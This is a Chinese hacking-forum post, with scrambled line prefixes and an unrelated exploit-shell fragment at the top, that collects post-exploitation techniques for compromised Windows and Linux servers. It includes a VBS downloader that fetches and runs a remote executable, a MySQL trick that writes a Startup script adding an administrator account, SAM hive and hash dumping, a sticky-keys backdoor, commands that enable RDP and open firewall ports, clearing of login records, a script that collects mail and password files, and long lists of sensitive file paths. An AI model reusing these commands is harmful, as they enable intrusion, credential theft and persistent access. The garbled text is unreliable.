* [argp@julius ~]$ id
2 T) w9 C" h! s( F* uid=1001(argp) gid=1001(argp) groups=1001(argp)
% c" }6 o) [+ D+ B* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
9 F5 y+ n& |6 K* [argp@julius ~]$ ./nfs_mount_ex
3 d4 _: K, Q7 B" E*
6 _8 N8 g, v% z3 ~' D6 Acalling nmount()

/ K$ T% K3 @7 O- u6 r2 \7 G（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
! }  ~2 w7 w  @; h感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
6 a# ]3 x- Z) a3 x: V5 r& W3 v————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
6 x8 T4 I' a' A$ E- zalzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
$ W8 A; b7 u1 K  e3 m( M+ S注：
6 \9 w7 P, s8 {' Y7 g" u0 S; _关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
) \4 D! F! D* w6 I; s( `那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
- w. t, U: l3 e5 q- ^( J
提权先执行systeminfo
1 g. P+ E( Q3 `# ]( [token 漏洞补丁号 KB956572
) P) O( y4 m9 o! RChurrasco          kb952004
5 r) G$ z- Y9 h0 n命令行RAR打包~~·
0 @5 ?. X$ {7 t# }  brar a -k -r -s -m3 c:\1.rar c:\folder
$ ?4 z9 m9 T, w' Z3 l; a* [: U8 j/ I——————————————
  s6 s4 v0 u# J8 j2、收集系统信息的脚本  
- n6 H5 M8 f' ~4 p! z% Lfor window：

: R, E. X5 \; M@echo off
echo #########system info collection
  d$ Z/ n# j' r  j% ssysteminfo
! u( x0 S. G8 g! S! J% a0 Hver
- m& Y% H# ~8 W6 s' d! zhostname
0 H& r6 `$ a+ f# X( n/ Wnet user
net localgroup
net localgroup administrators
net user guest
4 R# s3 w5 Q1 M$ u0 Cnet user administrator

3 `: G3 ]+ U* J. E+ D9 pecho #######at- with   atq#####
: O( d+ g5 r+ {echo schtask /query
7 A$ J, T* r& u
& t! Y' X; x/ x. secho
echo ####task-list#############
; w, {0 X+ }3 p3 t3 M( Ttasklist /svc
2 k  d2 R+ W: G' o2 [0 a% C- Jecho
% b2 [" z7 f5 b' Y- t  }9 p# e6 vecho ####net-work infomation
ipconfig/all
% }9 R3 A- B  W1 B* u  ]0 ?route print
arp -a
netstat -anipconfig /displaydns
echo
( |' @( k8 k6 cecho #######service############
sc query type= service state= all
echo #######file-##############
cd \
  `. V/ G: }% d4 H3 ^7 T, [4 ~tree -F
for linux：

. G% l& s6 h( r#!/bin/bash

echo #######geting sysinfo####
4 X. u$ l% q; J, @9 N7 F* Kecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
% \6 ]0 L: {6 F- X7 B, |8 Mecho #######basic infomation##
cat /proc/meminfo
; \% {  v3 z+ U# _  K) m' _- K7 becho
cat /proc/cpuinfo
  \8 t: E0 o5 L/ c& Wecho
! K7 F/ l! m- [8 c  S! orpm -qa 2>/dev/null
######stole the mail......######
4 T: a$ {! Z1 T- b/ {cp -a /var/mail /tmp/getmail 2>/dev/null


echo 'u'r id is' `id`
echo ###atq&crontab#####
* E! W9 ]! a+ g7 Z" _atq
crontab -l
echo #####about var#####
set

echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
& C4 e( J! E) Icat /etc/hosts
1 c, |" J  a! r' c+ T: |( L  [8 Qhostname
; n- ]7 z: R. r# w  _) ripconfig -a
arp -v
, @+ K+ \+ k! U9 T0 `% b4 D0 b- s# L2 k: ^echo ########user####
cat /etc/passwd|grep -i sh

echo ######service####
( `( X  G5 L- O$ W* q* X2 t  jchkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
7 I3 m8 e3 r: icat /etc/passwd|grep -i $i
* x- V  T% l7 n" i  J5 y, {done
8 j& C' {9 ~5 ?* E9 @4 c  R
0 V# B' z1 H8 ~! G; ~$ Llocate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
- m; M' h7 l& B' r& psleep 5
. f# [4 `, B" T3 e# Z9 Y. \locate conf >/tmp/sysconfig 2>dev/null
' j- S/ d6 F( j" F: d& b& D9 qsleep 5
locate config >>/tmp/sysconfig 2>/dev/null
sleep 5

###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
0 q7 k! Z) y- y# T# Qrm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
; K6 t+ k: l* h8 {3、ethash 不免杀怎么获取本机hash。
6 p/ c9 M1 M$ p) w! q* q首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
5 B* f# l6 i) Y' H" ]3 O注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
7 [# k/ ^& Q: p' [接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
# Z) Y8 c3 l2 ], Ahash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
, O/ S$ _6 t0 x. t! F——————————————
4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
) N3 H7 W8 I  r) e6 d$ Secho sGet.Open() >>c:\windows\cftmon.vbs
) c5 Z0 ]! O) a- \echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
$ d+ P. A4 q' X0 l, kcftmon.vbs

2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
# G0 V  d% g9 W% ]s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
4 s' f0 N, w8 k. y' f! @4 }8 wSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
$ ^7 Z; p% l& isGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

) n# `- L# x) Qcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
* X0 n7 L! ~/ d7 e# |  p" K
1 H) V8 ^' N' J  v8 R  t& I当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
3 g! r" t9 _0 ]6 l——————————————————
5、
% [- n/ ]- e' a: t* ?  o5 q1 P1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
) a( G. R) V0 w3 b! M: g$ e2.开启XP&2003终端服务
2 e. l; b7 k+ S) sREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
1 `/ Y6 V" G, ~3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
( @% }/ J; ]" q6 W* h0 \. ~REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
4 M6 W) h0 j' G* oREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
& v) c7 V6 ]$ v0 c; |1 L————————————————
( o( x* M1 c  ^# p$ y. Q# j: R6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
9 o- U% g* d) M" Pinsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
& d3 j6 F' u7 i8 S& x. Pinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
+ l  ?+ Z2 {6 N; Bselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
. j2 h$ @1 M- D$ R8、for /d %i in (d:\freehost\*) do @echo %i

列出d的所有目录
  
3 t" j1 H, x, N7 E5 W5 g  for /d %i in (???) do @echo %i

: {: W/ N) I: @: W0 @把当前路径下文件夹的名字只有1-3个字母的打出来
4 I) k) B8 k; z' Y8 v
) {0 ~7 y4 J1 B  P: z2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

4 z: u/ V( r( X2 @/ k8 u$ i- ufor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
$ H5 M  L- P7 n$ s  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
2 l5 B1 |% m  v' \
  delims=后的空格是分隔符 tokens是取第几个位置
( C( ^9 P1 a; a' f, B——————————
●注册表:
5 w! y# J) t: e* i9 _1.Administrator注册表备份:
  x/ n- O4 y2 @6 ^reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
* v8 z/ t5 N2 d) j8 X+ m
2.修改3389的默认端口:
$ m' }& H/ j* _; Y' wHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
* x7 L9 ?5 b" i* Z6 O: w* V. e修改PortNumber.

8 f; M. c; D5 @. O) C, F! Z! J3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
& `- F. u* q* \( greg export HKLM\SYSTEM\RAdmin c:\a.reg
. F& w9 Q1 L1 l: S" n+ c
5.禁用TCP/IP端口筛选(需重启):
. Z) a( y0 w. u! R$ C2 UREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
3 E3 t- Y9 F0 ^4 B
  ^" {5 b2 b( P- h4 b3 o( p6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
7 [( z% ~2 z4 `; s4 u或者
netsh ipsec dynamic set config ipsecexempt value=0
4 V/ |0 j% r( T. P0 p. T$ y
3 G( `$ Q" W1 C7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n
0 z. e, g, b, `4 I8 T
& C( O% \# X& _" A8.系统口令恢复LM加密:
7 z& I: A$ y' sreg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
- S1 `& a* W+ C8 Z0 J1 _6 R
/ {9 R% Q% f2 k) Q9 x1 y/ @9.另类方法抓系统密码HASH
5 p- r0 X, L+ ^  ~' s) q+ Y% y, |reg save hklm\sam c:\sam.hive
. k+ R8 ]; n1 Dreg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
. x, \! p2 x# A" p) Y3 P3 N+ |
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
7 b! a6 [$ V: E* w-----------------------------------
1 O# B) G1 h/ l+ i: p0 V+ i) U星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
, ]* T! M0 p% {+ G0 t; dchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
6 m5 y' L  A  Y; }! s; j4 |) j+ o! ^$ Zmsgbox("error!")
wscript.quit
end if
) c) s0 y- V* A1 S- r- [4 gserverbindings=IIS.serverBindings
ServerComment=iis.servercomment
7 T4 Y% W$ m' r! T  A' i+ nset IISweb=iis.getobject("IIsWebVirtualDir","Root")
3 a, `( ?. x1 f8 Xuser=iisweb.AnonymousUserName
6 a" Y% E" u" _& b6 R  p* g" Mpass=iisweb.AnonymousUserPass
path=IIsWeb.path
( `) q( f8 g1 ?. b+ l. A6 _list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
4 }8 i& w2 F( k0 F! U8 w2 tNext
wscript.echo list
( L: d0 L, y0 D8 zSet ObjService=Nothing
1 y$ ?# L' V/ j$ @+ ?# gwscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
$ `2 Z/ @6 ?. \9 d# k( OWScript.Quit
复制代码
: ]1 U) _" d' g! R1 H* T/ u----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
6 A3 H! E! C$ w: k% @  A8 @- X2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
. e1 i3 g* s) d" ^将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
) R6 M7 w- j8 s9 {2 e% h4 z, Z6 K$ u</OBJECT>
6 V( m+ q% C# n# Z8 c" y复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
' A" r$ ?0 Y+ c url=request.severvariables("url")
& B4 Z: h  g% s 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
' i& v% Y( E( ? url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

& D$ E% j8 B6 r$ u$ L2 o0 ^  t==============================================================
1 q/ @- w( L3 S* @5 M0 w9 [7 jLINUX常见路径：

2 E+ K6 ~- {( L) x0 W/etc/passwd
/etc/shadow
2 |1 W, I9 V% v/etc/fstab
$ d) l. I/ E$ k1 c7 }4 ?9 P& H/etc/host.conf
/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
; ~6 }  K; _2 I* e% h6 e, k. n/ e. U/var/www/htdocs/index.html
: @1 g; U9 Y) i- g* M/var/httpd/conf/php.ini
9 s) T/ x0 M/ D$ J/var/httpd/htdocs/index.php
9 H5 E! O" _* A1 ]& P/var/httpd/conf/httpd.conf
4 b' _3 |1 r( Y. E8 F& H/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
1 [3 u0 S- o) E1 q2 v5 g1 E/var/www/index.php
/opt/www/conf/httpd.conf
3 R$ ~7 v0 s5 L9 F2 X' a6 w/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
4 A# J. Z( S2 d, i5 _/usr/local/apache/htdocs/index.html
1 x" Y2 J7 X# X9 s/usr/local/apache/htdocs/index.php
  f2 G1 i" Q( ?1 C( x$ u/usr/local/apache2/htdocs/index.html
( {9 n; C: q$ S) X  U2 w/usr/local/apache2/htdocs/index.php
0 \' [, F* C2 _+ P# @# x3 R/usr/local/httpd2.2/htdocs/index.php
( M% I+ ~  d7 q( l5 s) B/usr/local/httpd2.2/htdocs/index.html
' H& A! p0 d( i( P% }/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
. l' i2 x( h* Q, m: g2 `# C5 U/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
5 k6 u$ z* m* ], C$ R/www/php/php.ini
$ X8 |$ |* @2 G- }! O/www/php4/php.ini
$ B! z- d+ C/ O3 J" M/www/php5/php.ini
/www/conf/httpd.conf
( q/ k7 q7 d8 M$ s, t/www/htdocs/index.php
/www/htdocs/index.html
! ~$ d# V2 _" U' F6 c: T* [, I/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
2 J! R4 Y& K8 @) W/etc/apache/apache.conf
/etc/apache2/apache.conf
5 N  Z+ a' B4 e# ]  v( G6 H/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
0 x: g( m' r1 r, E/etc/phpmyadmin/config.inc.php
# C! Y% h1 {! V/etc/mysql/my.cnf
) U- ~: Q6 L! x/ W! W/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
4 [+ V: h7 |6 j4 q4 M' K/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
& V2 s5 D) k6 h3 F; S/home/apache2/conf/httpd.conf
$ _6 P' ]4 k, G$ W0 b4 Z9 I2 Z/var/log/apache/error_log
/var/log/apache/error.log
- r5 e; ?4 E+ [' _% O4 _1 D/var/log/apache/access_log
7 ~0 F, [8 C: b* D* T, X, N" [/var/log/apache/access.log
6 O$ d0 Y2 D1 ?0 i- S& d$ Z2 v4 q- h/var/log/apache2/error_log
9 b5 b+ p) ~) `% T/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
8 B% |0 s- R& \0 H/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
6 w* @8 W$ W# n/usr/local/apache/logs/error.log
0 }' w/ \' }$ z/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
& v1 H" j  `; m! |/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
' t. q& ?- N4 v/usr/local/apache/logs/error_logerror_log.old
5 ?' c5 D" A; X; \/etc/php.ini
/bin/php.ini
5 v# \% R- [* }. V7 t/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
' G( D+ j+ s1 N. u. p" r/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
, z8 r4 `6 q; B: M, E; ^/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/ r' f; o, `" s/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
- F0 A) k; u1 c; ^1 K, M/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
5 Z/ ~  x' p: L) Z* n  u/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/ u4 C$ @3 k; `0 Q/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
. D! \% W& d/ O* z/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
+ F; F: l6 a) ?7 S, M/opt/xampp/etc/php.ini
9 t! u' ]' }3 _) o# p6 |- q/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
# \4 P9 V# s, n4 I5 n/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
- c" S5 ?$ _7 \6 Q3 q/php5/php.ini
/php4/php.ini
: V+ O: e( I( o/php/php.ini
8 x4 B8 v7 p* _/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
/ w% f9 V4 k# g  m* d8 v( {' `/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
# O5 A0 j" `2 @; |/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
. @! Y2 q" l4 n1 w4 [0 i& P; l/var/log/mysql/mysql-bin.log
! I9 F4 ^5 X8 L5 m6 X" X/var/log/mysql.log
" p+ k& r4 p  V/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
) B/ Q! m+ Z/ o/var/mysql.log
5 r: }% f9 ?! p/var/lib/mysql/my.cnf
' x7 R; U7 ]  {& w2 F/usr/local/mysql/my.cnf
; C& `. @$ S( W. {/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
; ], c- y, a! l) u8 L! d/etc/my.cnf
0 |. R( ?( T6 O/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
% P) C1 _+ n$ M  l/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
' ]1 n0 {2 P  ]9 a/ @0 H. j/usr/local/share/examples/php4/php.ini
7 u# `4 M7 Y6 x) s' x, v/usr/local/share/examples/php/php.ini

' y- R& P) f$ c, @. A2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
1 z1 c$ |- U  Y
c:\windows\php.ini
2 T+ ]1 h2 e7 L9 p2 I1 K1 Rc:\boot.ini
c:\1.txt
' \: p% |4 i. D3 Qc:\a.txt

c:\CMailServer\config.ini
, q' \6 v/ I$ i! @/ r7 `% lc:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
" n, f$ h' Q: R$ L- T) T9 AC:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe
' R/ L2 {' Y  b) Q
c:\hzhost\databases\url.asp

& E" f3 W% Y4 Z1 R  y) O; {, d7 xc:\hzhost\hzclient.exe
" z! |# Z8 S/ a7 G# c% x7 t* U% cC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
$ }7 _* T) y4 }4 D6 Sc:\website\index.html
c:\web\index.asp
c:\www\index.asp
. J/ ?4 Z; r6 q& Q# vc:\wwwsite\index.asp
/ m3 ~6 [2 c) o2 nc:\WWWROOT\index.asp
6 V8 m1 r; b, ^: W8 uc:\web\index.php
8 ?8 ~. q2 g& ]& d! ]c:\www\index.php
c:\WWWROOT\index.php
8 S; W+ Q6 q  |$ @4 \c:\WWWsite\index.php
c:\web\default.html
8 ^( x# Z$ O* }; m  a, {c:\www\default.html
c:\WWWROOT\default.html
) @5 l7 k- S% N8 M( g% ?$ H% zc:\website\default.html
7 b7 }) u  K- {1 s* ^1 fc:\web\default.asp
$ N4 i% n( d1 k# @0 Gc:\www\default.asp
c:\wwwsite\default.asp
c:\WWWROOT\default.asp
5 c. V( ?4 }' B; S, W& Ac:\web\default.php
c:\www\default.php
c:\WWWROOT\default.php
c:\WWWsite\default.php
6 I; |# f9 _- H4 j8 ^' iC:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
  P2 j  l. O3 L$ D$ F1 B/ rc:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
$ F1 z/ ^% K! ?  L! _5 _C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
. s+ _. n( a  f) p3 {1 {; SC:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
' W0 u, J0 o2 D. }4 Mc:\rising.ini
2 s. K$ X$ w- ZC:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
2 o4 F+ o0 U7 sC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
7 E, b: d) K" C  t. k5 u8 H# gC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
1 X' M6 @3 _. w1 R6 ~C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
! T0 i" b( D+ L; j7 ^5 W/ `) xC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
/ V; i2 J& D0 |C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
5 }- F% R% H' s: [4 v2 A# lC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
: |% c& \* L$ y: z. |- i. eC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
4 C& r0 y! D. M. d# Z4 H/ XC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
/ S+ _# d( G2 R' lC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
, u4 Z: \& G2 V0 ZC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
, @- w/ S$ i' }C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
* C2 Q; q7 S/ J+ C2 K' w$ ]5 Z6 ?' mC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
- L, R: x/ {* a, jC:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
- ^- p* m: @, h' ~3 s* fC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
3 p# \$ s/ {% v! e+ @C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
2 ~( V* S3 v0 k: H8 k' ]c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
5 J" Y: O1 v/ {/ a( @% K9 Rc:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
# D8 W2 u- c: _* G2 X, nc:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
+ _! s* A& f4 P% l. v- y# e( yc:\Apache2\php\license.txt
9 s( o2 {' C' j6 c3 w+ XC:\Program Files\Apache Group\Apache2\bin\Apache.exe
* S+ W* ^2 {8 D/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
: n1 t, ]* b& x" [( u( p2 A3 Qc:\Program Files\Tencent\qq\bin\qq.exe
1 V' s3 t5 a* c  _c:\Program Files\Tencent\qq2009\qq.exe
' B) F3 f/ b4 p3 ]# z. g( nc:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
# n1 a. U+ K* V( G# eC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
